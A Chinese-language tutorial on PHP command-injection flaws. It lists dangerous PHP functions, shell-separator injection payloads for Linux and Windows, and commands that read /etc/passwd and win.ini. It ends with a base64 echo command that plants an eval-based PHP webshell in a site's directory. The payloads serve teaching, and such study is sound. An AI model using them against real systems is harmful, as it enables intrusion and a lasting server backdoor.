命令执行漏洞

漏洞描述

程序员使用脚本语言(比如 PHP)开发应用程序过程中,脚本语言开发十分快速、 简洁,方便,但是也伴随着一些问题。比如说速度慢,或者无法接触系统底层,如果我们开发的应用,特别是企业级的一些应用需要去调用一些外部程序。当应用进行调用时就会用到一些执行系统命令的函数,应用在调用这些函数的时候,如果将用户的输入作为系统命令的参数拼接到命令行中,在没有过滤用户的输入的情况下,就会造成命令执行漏洞。

相关函数

在 PHP 中可以调用外部程序的常见函数:

system(args) 有回显

passthru(args) 有回显

exec(args) 回显最后一行,必须 echo 输出

shell_exec(args) 无回显,必须输出

反引号:``

popen(handle,mode) 无回显

proc_open('cmd','flag','flag') 无回显

$process = proc_open('dir',$des,$pipes);

echo stream_get_contents($pipes[1]);

漏洞危害

  • 继承 Web 服务器程序的权限,去执行系统命令
  • 继承 Web 服务器程序的权限,读写文件
  • 反弹 shell
  • 控制整个网站,甚至整个服务器

代码分析

从代码中得知,ipaddress 参数是外部可以控制的,然后再判断类型,使用 shell_exec 函数调用系统命令,所以存在命令执行漏洞

1、命令执行漏洞攻击

Linux系统支持的管道符

; 执行完前面的语句再执行后面的语句

ping 127.0.0.1;whoami

| 显示后面语句的执行结果

ping 127.0.0.1|whoami

|| 当前面的语句执行出错时,执行后面的语句,前面的语句只能为假

ping 1||whoami

& 如果前面的语句为假,则执行后面的语句,前面的语句可真可假

ping 127.0.0.1&whoami

&& 如果前面的语句为假,则直接出错,也不执行后面的语句,前面的语句只能为真

ping 127.0.0.1&&whoami

Windows系统支持的管道符

| 直接执行后面的语句

ping 127.0.0.1|whoami

|| 如果前面的语句执行出错,执行后面的语句,前面的语句只能为假

ping 2||whoami

& 如果前面的语句为假,则直接执行后面的语句,前面的语句可真可假

ping 127.0.0.1&whoami

&& 如果前面的语句为假,则直接出错,也不执行后面的语句,前面的语句只能为真

ping 127.0.0.1&&whoami

`(反引号)

当一个命令被解析时,它首先会执行反引号之间的操作。例如执行 echo `ls -a` 将会首先执行 ls 并捕获其输出信息,然后再将它传递给 echo,并将 ls -a 的输出结果打印在屏幕上,这被称为命令替换

ping 3|echo `whoami`

$

这是命令替换的不同符号,当反引号被过滤或编码时,可以使用该符号

ping 4|echo $(whoami)

发现命令执行漏洞,如果是有回显的情况下,获取系统敏感信息

windows 操作系统

type c:\windows\win.ini

linux 操作系统

cat /etc/passwd

一般在实战环境环境中,无回显的环境较多,证明漏洞存在就需要利用各种外通信技巧

2、命令执行漏洞外通信技巧

利用管道符号写入 SHELL

如果存在漏洞的 web 服务器页面有权限写入,利用 shell 命令写入 webshell 后门到网站目录,访问即可获取 webshell

echo "PD9waHAgcGhwaW5mbygpO2V2YWwoJF9QT1NUWydjbWQnXSk/Pg=="|base64 -d >shell.php

热门相关:一级BOSS:你结婚,我劫婚   我写的书实在太毒了   遥望行止   灭世魔帝   来自异世界的诺诺